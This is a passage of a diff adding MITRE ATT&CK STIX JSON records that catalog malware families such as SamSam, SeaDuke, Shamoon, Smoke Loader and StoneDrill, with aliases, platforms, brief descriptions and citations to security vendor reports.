"Sophos SamSam Apr 2018", + "description": " Palotay, D. and Mackenzie, P. (2018, April). SamSam Ransomware Chooses Its Targets Carefully. Retrieved April 15, 2019.", + "url": "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-ransomware-chooses-Its-targets-carefully-wpna.pdf" + }, + { + "source_name": "Symantec SamSam Oct 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, October 30). SamSam: Targeted Ransomware Attacks Continue. Retrieved April 16, 2019.", + "url": "https://www.symantec.com/blogs/threat-intelligence/samsam-targeted-ransomware-attacks" + } + ], + "x_mitre_version": "1.0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2019-04-18T20:59:56.853Z", + "type": "malware", + "created": "2019-04-15T19:40:07.664Z", + "x_mitre_platforms": [ + "Windows" + ], + "name": "SamSam", + "x_mitre_aliases": [ + "SamSam", + "Samas" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SeaDuke](https://attack.mitre.org/software/S0053) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2014 to 2015. It was used primarily as a secondary backdoor for victims that were already compromised with [CozyCar](https://attack.mitre.org/software/S0046). (Citation: F-Secure The Dukes)", + "id": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14", + "external_references": [ + { + "external_id": "S0053", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0053" + }, + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:37.767Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "SeaDuke", + "x_mitre_aliases": [ + "SeaDuke", + "SeaDaddy", + "SeaDesk" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Seasalt](https://attack.mitre.org/software/S0345) is malware that has been linked to [APT1](https://attack.mitre.org/groups/G0006)'s 2010 operations. It shares some code similarities with [OceanSalt](https://attack.mitre.org/software/S0346).(Citation: Mandiant APT1 Appendix)(Citation: McAfee Oceansalt Oct 2018)", + "id": "malware--b45747dc-87ca-4597-a245-7e16a61bc491", + "external_references": [ + { + "external_id": "S0345", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0345" + }, + { + "source_name": "Seasalt", + "description": "(Citation: Mandiant APT1 Appendix)(Citation: McAfee Oceansalt Oct 2018)" + }, + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + }, + { + "source_name": "McAfee Oceansalt Oct 2018", + "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.", + "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf" + } + ], + "x_mitre_version": "1.0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2019-02-12T21:28:19.201Z", + "type": "malware", + "created": "2019-01-30T15:27:06.404Z", + "x_mitre_platforms": [ + "Windows" + ], + "name": "Seasalt", + "x_mitre_aliases": [ + "Seasalt" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ServHelper](https://attack.mitre.org/software/S0382) is a backdoor first observed in late 2018. The backdoor is written in Delphi and is typically delivered as a DLL file.(Citation: Proofpoint TA505 Jan 2019)", + "id": "malware--aae22730-e571-4d17-b037-65f2a3e26213", + "external_references": [ + { + "external_id": "S0382", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0382" + }, + { + "source_name": "Proofpoint TA505 Jan 2019", + "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505" + } + ], + "x_mitre_version": "1.0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2019-06-07T20:33:39.359Z", + "type": "malware", + "created": "2019-05-29T13:14:38.638Z", + "x_mitre_platforms": [ + "Windows" + ], + "name": "ServHelper", + "x_mitre_aliases": [ + "ServHelper" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Shamoon](https://attack.mitre.org/software/S0140) is wiper malware that was first used by an Iranian group known as the \"Cutting Sword of Justice\" in 2012. Other versions known as Shamoon 2 and Shamoon 3 were observed in 2016 and 2018. [Shamoon](https://attack.mitre.org/software/S0140) has also been seen leveraging [RawDisk](https://attack.mitre.org/software/S0364) to carry out data wiping tasks. The term Shamoon is sometimes used to refer to the group using the malware as well as the malware itself.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Unit 42 Shamoon3 2018)(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)", + "id": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "external_references": [ + { + "external_id": "S0140", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0140" + }, + { + "source_name": "Disttrack", + "description": "(Citation: Palo Alto Shamoon Nov 2016)" + }, + { + "source_name": "Palo Alto Shamoon Nov 2016", + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + }, + { + "source_name": "Unit 42 Shamoon3 2018", + "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.", + "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/" + }, + { + "source_name": "Symantec Shamoon 2012", + "description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.", + "url": "https://www.symantec.com/connect/blogs/shamoon-attacks" + }, + { + "source_name": "FireEye Shamoon Nov 2016", + "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html" + } + ], + "x_mitre_version": "2.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-04-24T23:59:16.008Z", + "type": "malware", + "created": "2017-05-31T21:33:20.223Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Shamoon", + "x_mitre_aliases": [ + "Shamoon", + "Disttrack" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Skeleton Key](https://attack.mitre.org/software/S0007) is malware used to inject false credentials into domain controllers with the intent of creating a backdoor password. (Citation: Dell Skeleton) Functionality similar to [Skeleton Key](https://attack.mitre.org/software/S0007) is included as a module in [Mimikatz](https://attack.mitre.org/software/S0002).", + "id": "malware--89f63ae4-f229-4a5c-95ad-6f22ed2b5c49", + "external_references": [ + { + "external_id": "S0007", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0007" + }, + { + "source_name": "Dell Skeleton", + "description": "Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.", + "url": "https://www.secureworks.com/research/skeleton-key-malware-analysis" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-05-03T16:43:36.251Z", + "type": "malware", + "created": "2017-05-31T21:32:13.407Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Skeleton Key", + "x_mitre_aliases": [ + "Skeleton Key" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) is a malicious bot application that can be used to load other malware.\n[Smoke Loader](https://attack.mitre.org/software/S0226) has been seen in the wild since at least 2011 and has included a number of different payloads. It is notorious for its use of deception and self-protection. It also comes with several plug-ins. (Citation: Malwarebytes SmokeLoader 2016) (Citation: Microsoft Dofoil 2018)", + "id": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0", + "external_references": [ + { + "external_id": "S0226", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0226" + }, + { + "source_name": "Smoke Loader", + "description": "(Citation: Malwarebytes SmokeLoader 2016) (Citation: Microsoft Dofoil 2018)" + }, + { + "source_name": "Dofoil", + "description": "(Citation: Malwarebytes SmokeLoader 2016) (Citation: Microsoft Dofoil 2018)" + }, + { + "source_name": "Malwarebytes SmokeLoader 2016", + "description": "Hasherezade. (2016, September 12). Smoke Loader \u2013 downloader with a smokescreen still alive. Retrieved March 20, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/" + }, + { + "source_name": "Microsoft Dofoil 2018", + "description": "Windows Defender Research. (2018, March 7). Behavior monitoring combined with machine learning spoils a massive Dofoil coin mining campaign. Retrieved March 20, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/" + } + ], + "x_mitre_version": "1.1", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-06-24T19:07:12.385Z", + "type": "malware", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Smoke Loader", + "x_mitre_aliases": [ + "Smoke Loader", + "Dofoil" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Socksbot](https://attack.mitre.org/software/S0273) is a backdoor that abuses Socket Secure (SOCKS) proxies. (Citation: TrendMicro Patchwork Dec 2017)", + "id": "malware--e494ad79-37ee-4cd0-866b-299c521d8b94", + "external_references": [ + { + "external_id": "S0273", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0273" + }, + { + "source_name": "Socksbot", + "description": "(Citation: TrendMicro Patchwork Dec 2017)" + }, + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_aliases": [ + "Socksbot" + ], + "name": "Socksbot", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SpeakUp](https://attack.mitre.org/software/S0374) is a Trojan backdoor that targets both Linux and OSX devices. It was first observed in January 2019. (Citation: CheckPoint SpeakUp Feb 2019)", + "id": "malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d", + "external_references": [ + { + "external_id": "S0374", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0374" + }, + { + "source_name": "CheckPoint SpeakUp Feb 2019", + "description": "Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019.", + "url": "https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/" + } + ], + "x_mitre_version": "1.0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2019-04-22T20:29:31.147Z", + "type": "malware", + "created": "2019-04-17T18:43:36.156Z", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "name": "SpeakUp", + "x_mitre_aliases": [ + "SpeakUp" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SslMM](https://attack.mitre.org/software/S0058) is a full-featured backdoor used by [Naikon](https://attack.mitre.org/groups/G0019) that has multiple variants. (Citation: Baumgartner Naikon 2015)", + "id": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421", + "external_references": [ + { + "external_id": "S0058", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0058" + }, + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-04-25T02:48:47.401Z", + "type": "malware", + "created": "2017-05-31T21:32:39.606Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "SslMM", + "x_mitre_aliases": [ + "SslMM" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Starloader](https://attack.mitre.org/software/S0188) is a loader component that has been observed loading [Felismus](https://attack.mitre.org/software/S0171) and associated tools. (Citation: Symantec Sowbug Nov 2017)", + "id": "malware--96566860-9f11-4b6f-964d-1c924e4f24a4", + "external_references": [ + { + "external_id": "S0188", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0188" + }, + { + "source_name": "Starloader", + "description": "(Citation: Symantec Sowbug Nov 2017)" + }, + { + "source_name": "Symantec Sowbug Nov 2017", + "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.", + "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Starloader", + "x_mitre_contributors": [ + "Alan Neville, @abnev" + ], + "x_mitre_aliases": [ + "Starloader" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[StoneDrill](https://attack.mitre.org/software/S0380) is wiper malware discovered in destructive campaigns against both Middle Eastern and European targets in association with [APT33](https://attack.mitre.org/groups/G0064).(Citation: FireEye APT33 Sept 2017)(Citation: Kaspersky StoneDrill 2017)", + "id": "malware--8dbadf80-468c-4a62-b817-4e4d8b606887", + "external_references": [ + { + "external_id": "S0380", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0380" + }, + { + "source_name": "StoneDrill", + "description": "(Citation: Kaspersky StoneDrill 2017)" + }, + { + "source_name": "DROPSHOT", + "description": "(Citation: FireEye APT33 Sept 2017)" + }, + { + "source_name": "FireEye APT33 Sept 2017", + "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html" + }, + { + "source_name": "Kaspersky StoneDrill 2017", + "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-06-07T20:52:36.807Z", + "type": "malware", + "created": "2019-05-14T15:05:06.630Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "StoneDrill", + "x_mitre_aliases": [ + "StoneDrill", + "DROPSHOT" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[StreamEx](https://attack.mitre.org/software/S0142) is a malware family that has been used by [Deep Panda](https://attack.mitre.org/groups/G0009) since at least 2015. In 2016, it was distributed via legitimate compromised Korean websites. (Citation: Cylance Shell Crew Feb 2017)", + "id": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86", + "external_references": [ + { + "external_id": "S0142", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0142" + }, + { + "source_name": "StreamEx", + "description": "(Citation: Cylance Shell Crew Feb 2017)" + }, + { + "source_name": "Cylance Shell Crew Feb 2017", + "description": "Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV\u2019s Radar. Retrieved February 15, 2017.", + "url": "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:33:21.437Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "StreamEx", + "x_mitre_aliases": [ + "StreamEx" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Sykipot](https://attack.mitre.org/software/S0018) is malware that has been used in spearphishing campaigns since approximately 2007 against victims primarily in the US. One variant of [Sykipot](https://attack.mitre.org/software/S0018) hijacks smart cards on victims. (Citation: Alienvault Sykipot DOD Smart Cards) The group using this malware has also been referred to as Sykipot. (Citation: Blasco 2013)", + "id": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9", + "external_references": [ + { + "external_id": "S0018", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0018" + }, + { + "source_name": "Blasco 2013", + "description": "Blasco, J. (2013, March 21). New Sykipot developments [Blog]. Retrieved November 12, 2014.", + "url": "http://www.alienvault.com/open-threat-exchange/blog/new-sykipot-developments" + }, + { + "source_name": "Alienvault Sykipot DOD Smart Cards", + "description": "Blasco, J. (2012, January 12). Sykipot variant hijacks DOD and Windows smart cards. Retrieved January 10, 2016.", + "url": "https://www.alienvault.com/open-threat-exchange/blog/sykipot-variant-hijacks-dod-and-windows-smart-cards" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:17.568Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Sykipot", + "x_mitre_aliases": [ + "Sykipot" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SynAck](https://attack.mitre.org/software/S0242) is variant of Trojan ransomware targeting mainly English-speaking users since at least fall 2017. (Citation: SecureList SynAck Doppelg\u00e4nging May 2018) (Citation: Kaspersky Lab SynAck May 2018)", + "id": "malware--04227b24-7817-4de1-9050-b7b1b57f5866", + "external_references": [ + { + "external_id": "S0242", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0242" + }, + { + "source_name": "SynAck", + "description": "(Citation: SecureList SynAck Doppelg\u00e4nging May 2018) (Citation: Kaspersky Lab SynAck May 2018)" + }, + { + "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018", + "description": "Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.", + "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/" + }, + { + "source_name": "Kaspersky Lab SynAck May 2018", + "description": "Bettencourt, J. (2018, May 7). Kaspersky Lab finds new variant of SynAck ransomware using sophisticated Doppelg\u00e4nging technique. Retrieved May 24, 2018.", + "url": "https://usa.kaspersky.com/about/press-releases/2018_synack-doppelganging" + } + ], + "x_mitre_version": "1.1", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-07-26T23:00:55.880Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "SynAck", + "x_mitre_aliases": [ + "SynAck" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Sys10](https://attack.mitre.org/software/S0060) is a backdoor that was used throughout 2013 by [Naikon](https://attack.mitre.org/groups/G0019). (Citation: Baumgartner Naikon 2015)", + "id": "malware--7f8730af-f683-423f-9ee1-5f6875a80481", + "external_references": [ + { + "external_id": "S0060", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0060" + }, + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-05-03T16:44:41.669Z", + "type": "malware", + "created": "2017-05-31T21:32:40.391Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Sys10", + "x_mitre_aliases": [ + "Sys10" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[T9000](https://attack.mitre.org/software/S0098) is a backdoor that is a newer variant of the T5000 malware family, also known as Plat1. Its primary function is to gather information about the victim. It has been used in multiple targeted attacks against U.S.-based organizations. (Citation: FireEye admin@338 March 2014) (Citation: Palo Alto T9000 Feb 2016)", + "id": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3", + "external_references": [ + { + "external_id": "S0098", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0098" + }, + { + "source_name": "FireEye admin@338 March 2014", + "description": "Moran, N. and Lanstein, A.. (2014, March 25). Spear Phishing the News Cycle: APT Actors Leverage Interest in the Disappearance of Malaysian Flight MH 370. Retrieved April 15, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/03/spear-phishing-the-news-cycle-apt-actors-leverage-interest-in-the-disappearance-of-malaysian-flight-mh-370.html" + }, + { + "source_name": "Palo Alto T9000 Feb 2016", + "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:33:01.951Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "T9000", + "x_mitre_aliases": [ + "T9000" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TDTESS](https://attack.mitre.org/software/S0164) is a 64-bit .NET binary backdoor used by [CopyKittens](https://attack.mitre.org/groups/G0052). (Citation: ClearSky Wilted Tulip July 2017)", + "id": "malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a", + "external_references": [ + { + "external_id": "S0164", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0164" + }, + { + "source_name": "TDTESS", + "description": "(Citation: ClearSky Wilted Tulip July 2017)" + }, + { + "source_name": "ClearSky Wilted Tulip July 2017", + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "TDTESS", + "x_mitre_aliases": [ + "TDTESS" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TEXTMATE](https://attack.mitre.org/software/S0146) is a second-stage PowerShell backdoor that is memory-resident. It was observed being used along with [POWERSOURCE](https://attack.mitre.org/software/S0145) in February 2017. (Citation: FireEye FIN7 March 2017)", + "id": "malware--4f6aa78c-c3d4-4883-9840-96ca2f5d6d47", + "external_references": [ + { + "external_id": "S0146", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0146" + }, + { + "source_name": "TEXTMATE", + "description": "(Citation: FireEye FIN7 March 2017)" + }, + { + "source_name": "DNSMessenger", + "description": "Based on similar descriptions of functionality, it appears S0146, as named by FireEye, is the same as Stage 4 of a backdoor named DNSMessenger by Cisco's Talos Intelligence Group. However, FireEye appears to break DNSMessenger into two parts: S0145 and S0146. (Citation: Cisco DNSMessenger March 2017) (Citation: FireEye FIN7 March 2017)" + }, + { + "source_name": "FireEye FIN7 March 2017", + "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html" + }, + { + "source_name": "Cisco DNSMessenger March 2017", + "description": "Brumaghin, E. and Grady, C.. (2017, March 2). Covert Channels and Poor Decisions: The Tale of DNSMessenger. Retrieved March 8, 2017.", + "url": "http://blog.talosintelligence.com/2017/03/dnsmessenger.html" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:33:25.209Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "TEXTMATE", + "x_mitre_aliases": [ + "TEXTMATE", + "DNSMessenger" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TINYTYPHON](https://attack.mitre.org/software/S0131) is a backdoor that has been used by the actors responsible for the MONSOON campaign. The majority of its code was reportedly taken from the MyDoom worm. (Citation: Forcepoint Monsoon)", + "id": "malware--85b39628-204a-48d2-b377-ec368cbcb7ca", + "external_references": [ + { + "external_id": "S0131", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0131" + }, + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:33:15.467Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "TINYTYPHON", + "x_mitre_aliases": [ + "TINYTYPHON" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TURNEDUP](https://attack.mitre.org/software/S0199) is a non-public backdoor. It has been dropped by [APT33](https://attack.mitre.org/groups/G0064)'s [StoneDrill](https://attack.mitre.org/software/S0380) malware. (Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)", + "id": "malware--db1355a7-e5c9-4e2c-8da7-eccf2ae9bf5c", + "external_references": [ + { + "external_id": "S0199", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0199" + }, + { + "source_name": "TURNEDUP", + "description": "(Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)" + }, + { + "source_name": "FireEye APT33 Sept 2017", + "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html" + }, + { + "source_name": "FireEye APT33 Webinar Sept 2017", + "description": "Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber 